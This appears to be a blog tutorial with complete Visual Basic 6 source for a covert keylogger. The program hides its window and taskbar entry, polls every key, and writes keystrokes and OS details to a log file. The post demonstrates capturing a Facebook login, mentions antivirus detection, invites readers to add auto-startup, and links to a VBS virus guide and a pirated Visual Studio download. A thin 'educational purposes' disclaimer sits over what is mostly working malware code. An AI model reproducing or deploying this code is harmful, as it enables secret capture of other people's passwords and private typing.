How to make Keylogger in VB?

MAKING A KEYLOGGER IN VB6

THE INFORMATION PROVIDED BELOW IS SOLELY FOR EDUCATIONAL PURPOSES AND FOR SERVING THE OBJECTIVE OF THIS BLOG OF PROVIDING INFORMATION TO ITS READERS. THE BLOG IS NOT LIABLE FOR ANY DAMAGE CAUSED BY THE MISUSE OF THE INFORMATION(S) PROVIDED HEREIN

KNOWLEDGE REQUIRED: VISUAL BASIC 6

Lets Start:

Open a new Standard EXE Project in VB6

Disable the ControlBox
Set The ShowInTaskbar and Form1 Visibility to FALSE
Add a new Timer, By-Default and in this Post called Timer1
Add a new Label ,By-Default and in this Post called Label1

Add a Module



Below is my Module with API Declarations:
Public Const VK_VOLUME_DOWN As Long = &HAE
Public Const VK_VOLUME_UP As Long = &HAF
Public Const VK_PAUSE As Long = &H13
Public Const VK_TAB As Long = &H9
Public Const VK_SCROLL As Long = &H91
Public Const VK_END As Long = &H23
Public Const VK_DELETE As Long = &H2E
Public Const VK_SNAPSHOT As Long = &H2C
Public Const VK_HOME As Long = &H24
Public Const VK_INSERT As Long = &H2D
Public Const VK_SLEEP As Long = &H5F
Public Const VK_SPACE As Long = &H20
Public Const VK_BACK As Long = &H8
Public Const VK_CAPITAL As Long = &H14
Public Const VK_F12 As Long = &H7B
Public Const VK_F11 As Long = &H7A
Public Const VK_F10 As Long = &H79
Public Const VK_F9 As Long = &H78
Public Const VK_F8 As Long = &H77
Public Const VK_F7 As Long = &H76
Public Const VK_F6 As Long = &H75
Public Const VK_F5 As Long = &H74
Public Const VK_F4 As Long = &H73
Public Const VK_F3 As Long = &H72
Public Const VK_F2 As Long = &H71
Public Const VK_F1 As Long = &H70
Public Const VK_NUMLOCK As Long = &H90
Public Const VK_NUMPAD0 As Long = &H60
Public Const VK_NUMPAD1 As Long = &H61
Public Const VK_NUMPAD2 As Long = &H62
Public Const VK_NUMPAD3 As Long = &H63
Public Const VK_NUMPAD4 As Long = &H64
Public Const VK_NUMPAD5 As Long = &H65
Public Const VK_NUMPAD6 As Long = &H66
Public Const VK_NUMPAD7 As Long = &H67
Public Const VK_NUMPAD8 As Long = &H68
Public Const VK_NUMPAD9 As Long = &H69
Public Const VK_ADD As Long = &H6B
Public Const VK_SUBTRACT As Long = &H6D
Public Const VK_DIVIDE As Long = &H6F
Public Const VK_MULTIPLY As Long = &H6A

Type OSVERSIONINFO
                         dwOSVersionInfoSize As Long
                         dwMajorVersion As Long
                         dwMinorVersion As Long
                         dwBuildNumber As Long
                         dwPlatformId As Long
                         szCSDVersion As String * 128
End Type

Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" ( _
ByRef lpVersionInformation As OSVERSIONINFO) As Long
Please note that some constants used above maynot have been used in the Code at all. You may add or remove them from and or in the code according to your needs.

Okay, lets start coding:

Type the following outside of any sub-procedures or functions on the top of the Form1 Page. It is the path where the logfile will be placed.
Const logph As String = "D:\LOGS.TXT"

Now, the three variables below have been declared just below the constant declarations outside of any functions or sub-procedures. 
Dim i As Integer
Dim fso As Object
Dim log_fp As Object

And, below is the Form_Load() Code. It initializes the Timer which in turn, starts the logging process.
Private Sub Form_Load()
App.TaskVisible = False
frmMain.Visible = False
Dim osvi As OSVERSIONINFO
osvi.dwOSVersionInfoSize = Len(osvi)
GetVersionEx osvi
Dim ctime As String
Dim sys_details As String
ctime = "Started at: " & Now
                          Set fso = CreateObject("scripting.filesystemobject")
                          If (fso.fileexists(logph) = False) Then
                                    sys_details = "Logfile created on: " & Now & vbCrLf
                                    sys_details = sys_details & "Running OS: "
                                         If (osvi.dwMajorVersion = 4) And (osvi.dwMinorVersion = 1) Then
                                                        sys_details = sys_details & "Microsoft Windows 98"
                                         ElseIf (osvi.dwMajorVersion = 5) And (osvi.dwMinorVersion = 0) Then
                                                       sys_details = sys_details & "Microsoft Windows 2000"
                                         ElseIf (osvi.dwMajorVersion = 5) And (osvi.dwMinorVersion = 1) Then
                                                       sys_details = sys_details & "Microsoft Windows XP"
                                         ElseIf (osvi.dwMajorVersion = 6) And (osvi.dwMinorVersion = 0) Then
                                                       sys_details = sys_details & "Microsoft Windows Vista"
                                         ElseIf (osvi.dwMajorVersion = 6) And (osvi.dwMinorVersion = 1) Then
                                                       sys_details = sys_details & "Microsoft Windows 7"
                                         Else                         
                                                       sys_details = sys_details & "N/A"
                                         End If
                                         sys_details = sys_details & vbCrLf
                                         fso.createtextfile(logph).Write (sys_details)
                          End If
                          Set log_fp = fso.getfile(logph)
                                                    log_fp.OpenAsTextStream(8, 0).Write (ctime)
                                                    Label1.Caption = vbCrLf
                                                                               Timer1.Interval = 100
                                                                               Timer1.Enabled = True
                                                    ctime = ""
End Sub

OS Detection Code logging OS Version in the Logfile
Private Sub Timer1_Timer()
For i = 65 To 90
If (GetAsyncKeyState(i) = -32767) Then _
                          Label1.Caption = Label1.Caption & Chr$(i)
Next
If (GetAsyncKeyState(16) = -32767) Then
                          Label1.Caption = Label1.Caption & "[SHIFT]"
ElseIf (GetAsyncKeyState(17) = -32767) Then
                          Label1.Caption = Label1.Caption & "[CTRL]"
ElseIf (GetAsyncKeyState(18) = -32767) Then
                          Label1.Caption = Label1.Caption & "[ALT]"
ElseIf (GetAsyncKeyState(19) = -32767) Then
                          Label1.Caption = Label1.Caption & "[PAUSE_BREAK]"
ElseIf (GetAsyncKeyState(44) = -32767) Then
                          Label1.Caption = Label1.Caption & "[PRTSC_SYSRQ]"
ElseIf (GetAsyncKeyState(32) = -32767) Then
                          Label1.Caption = Label1.Caption & " "
ElseIf (GetAsyncKeyState(13) = -32767) Then
                          Label1.Caption = Label1.Caption & vbCrLf
ElseIf (GetAsyncKeyState(9) = -32767) Then
                          Label1.Caption = Label1.Caption & "[TAB]"
ElseIf (GetAsyncKeyState(93) = -32767) Then
                          Label1.Caption = Label1.Caption & "[RT_EPLR_MENU]"
ElseIf (GetAsyncKeyState(91) = -32767) Then
                          Label1.Caption = Label1.Caption & "[WIN]"
ElseIf (GetAsyncKeyState(35) = -32767) Then
                          Label1.Caption = Label1.Caption & "[END]"
ElseIf (GetAsyncKeyState(20) = -32767) Then
                          Label1.Caption = Label1.Caption & "[CAPSLOCK]"
ElseIf (GetAsyncKeyState(36) = -32767) Then
                          Label1.Caption = Label1.Caption & "[HOME]"
ElseIf (GetAsyncKeyState(45) = -32767) Then
                          Label1.Caption = Label1.Caption & "[INSERT]"
ElseIf (GetAsyncKeyState(46) = -32767) Then
                          Label1.Caption = Label1.Caption & "[DEL]"
ElseIf (GetAsyncKeyState(27) = -32767) Then
                          Label1.Caption = Label1.Caption & "[ESC]"
ElseIf (GetAsyncKeyState(192) = -32767) Then
                          Label1.Caption = Label1.Caption & "`~"
ElseIf (GetAsyncKeyState(48) = -32767) Then
                          Label1.Caption = Label1.Caption & ")0"
ElseIf (GetAsyncKeyState(49) = -32767) Then
                          Label1.Caption = Label1.Caption & "!1"
ElseIf (GetAsyncKeyState(50) = -32767) Then
                          Label1.Caption = Label1.Caption & "@2"
ElseIf (GetAsyncKeyState(51) = -32767) Then
                          Label1.Caption = Label1.Caption & "#3"
ElseIf (GetAsyncKeyState(52) = -32767) Then
                          Label1.Caption = Label1.Caption & "$4"
ElseIf (GetAsyncKeyState(53) = -32767) Then
                          Label1.Caption = Label1.Caption & "%5"
ElseIf (GetAsyncKeyState(54) = -32767) Then
                          Label1.Caption = Label1.Caption & "^6"
ElseIf (GetAsyncKeyState(55) = -32767) Then
                          Label1.Caption = Label1.Caption & "&&7"
ElseIf (GetAsyncKeyState(56) = -32767) Then
                          Label1.Caption = Label1.Caption & "*8"
ElseIf (GetAsyncKeyState(57) = -32767) Then
                          Label1.Caption = Label1.Caption & "(9"
ElseIf (GetAsyncKeyState(189) = -32767) Then
                          Label1.Caption = Label1.Caption & "-_"
ElseIf (GetAsyncKeyState(187) = -32767) Then
                          Label1.Caption = Label1.Caption & "+="
ElseIf (GetAsyncKeyState(220) = -32767) Then
                          Label1.Caption = Label1.Caption & "|\"
ElseIf (GetAsyncKeyState(8) = -32767) Then
                          Label1.Caption = Label1.Caption & "[BACKSPC]"
ElseIf (GetAsyncKeyState(221) = -32767) Then
                          Label1.Caption = Label1.Caption & "}]"
ElseIf (GetAsyncKeyState(219) = -32767) Then
                          Label1.Caption = Label1.Caption & "{["
ElseIf (GetAsyncKeyState(186) = -32767) Then
                          Label1.Caption = Label1.Caption & ";:"
ElseIf (GetAsyncKeyState(222) = -32767) Then
                          Label1.Caption = Label1.Caption & "'" & Chr$(34)
ElseIf (GetAsyncKeyState(191) = -32767) Then
                          Label1.Caption = Label1.Caption & "?/"
ElseIf (GetAsyncKeyState(190) = -32767) Then
                          Label1.Caption = Label1.Caption & ">."
ElseIf (GetAsyncKeyState(188) = -32767) Then
                          Label1.Caption = Label1.Caption & "<," 
ElseIf (GetAsyncKeyState(37) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[LEFT]" 
ElseIf (GetAsyncKeyState(38) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[UP]" 
ElseIf (GetAsyncKeyState(39) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[RIGHT]" 
ElseIf (GetAsyncKeyState(40) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[DOWN]" 
ElseIf (GetAsyncKeyState(VK_NUMLOCK) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[NUMLOCK]" 
ElseIf (GetAsyncKeyState(VK_END) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[END]" 
ElseIf (GetAsyncKeyState(VK_F1) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F1]" 
ElseIf (GetAsyncKeyState(VK_F2) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F2]" 
ElseIf (GetAsyncKeyState(VK_F3) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F3]" 
ElseIf (GetAsyncKeyState(VK_F4) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F4]" 
ElseIf (GetAsyncKeyState(VK_F5) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F5]" 
ElseIf (GetAsyncKeyState(VK_F6) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F6]" 
ElseIf (GetAsyncKeyState(VK_F7) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F7]" 
ElseIf (GetAsyncKeyState(VK_F8) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F8]" 
ElseIf (GetAsyncKeyState(VK_F9) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F9]" 
ElseIf (GetAsyncKeyState(VK_F10) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F10]" 
ElseIf (GetAsyncKeyState(VK_F11) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F11]" 
ElseIf (GetAsyncKeyState(VK_F12) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[F12]" 
ElseIf (GetAsyncKeyState(VK_SCROLL) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[SCROLL]" 
ElseIf (GetAsyncKeyState(VK_SLEEP) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[SLEEP]" 
ElseIf (GetAsyncKeyState(VK_NUMPAD0) = -32767) Then 
                          Label1.Caption = Label1.Caption & "0" 
ElseIf (GetAsyncKeyState(VK_NUMPAD1) = -32767) Then 
                          Label1.Caption = Label1.Caption & "1" 
ElseIf (GetAsyncKeyState(VK_NUMPAD2) = -32767) Then 
                          Label1.Caption = Label1.Caption & "2"
ElseIf (GetAsyncKeyState(VK_NUMPAD3) = -32767) Then 
                          Label1.Caption = Label1.Caption & "3" 
ElseIf (GetAsyncKeyState(VK_NUMPAD4) = -32767) Then 
                          Label1.Caption = Label1.Caption & "4" 
ElseIf (GetAsyncKeyState(VK_NUMPAD5) = -32767) Then
                          Label1.Caption = Label1.Caption & "5" 
ElseIf (GetAsyncKeyState(VK_NUMPAD6) = -32767) Then 
                          Label1.Caption = Label1.Caption & "6" 
ElseIf (GetAsyncKeyState(VK_NUMPAD7) = -32767) Then 
                          Label1.Caption = Label1.Caption & "7" 
ElseIf (GetAsyncKeyState(VK_NUMPAD8) = -32767) Then 
                          Label1.Caption = Label1.Caption & "8" 
ElseIf (GetAsyncKeyState(VK_NUMPAD9) = -32767) Then 
                          Label1.Caption = Label1.Caption & "9" 
ElseIf (GetAsyncKeyState(VK_DELETE) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[DEL]" 
ElseIf (GetAsyncKeyState(VK_SCROLL) = -32767) Then 
                          Label1.Caption = Label1.Caption & "[SCROLL_LOCK]" 
ElseIf (GetAsyncKeyState(VK_ADD) = -32767) Then 
                          Label1.Caption = Label1.Caption & "+" 
ElseIf (GetAsyncKeyState(VK_SUBTRACT) = -32767) Then 
                          Label1.Caption = Label1.Caption & "-" 
ElseIf (GetAsyncKeyState(VK_MULTIPLY) = -32767) Then 
                          Label1.Caption = Label1.Caption & "*" 
ElseIf (GetAsyncKeyState(VK_DIVIDE) = -32767) Then 
                          Label1.Caption = Label1.Caption & "/" 
End If 
log_char Label1.Caption 
Label1.Caption = ""
End Sub 
The above is the Timer code which actually logs theKeystrokes.

Function log_char(l_char As String) 
log_fp.OpenAsTextStream(8, 0).Write (l_char) 
End Function 
The above function reords the given strings in the logfile.  

Avast detects the Keylogger as: Win32:KeyLogger-ATU[Spy]
And, you can see that Avast quickly detects it and prevents it from running.

Facebook Password Logging Demo
As you can see, the someone@something.com gets logged as someone@something>.com
Refer to your Keyboard and obtain the Button pressed and the symbols recorded from the Keyboard Key-print or obtain it from the Code.
  • No Auto-Startup Code added, manually use it or add it yourself.
Please note that VB6 Timer is a bit inaccurate and you may sometimes end up with some text letters misplaced in a line or two. This may happen depending on how fast the User can Type.

Learn how you can make a Virus in VBS
Need a copy of Visual Basic 6 ? Get your share of Visual Studio 6 Enterprise Edition (Full Version) here.

Found this post useful ? If so, please Click +1 and RECOMMEND THIS SITE on Google

1 comment:

  1. What solution inaccurate timer in VB6? (Sorry, My English speak bad)
    I type "notepad", but recorded "ntp". what's the solution?

    ReplyDelete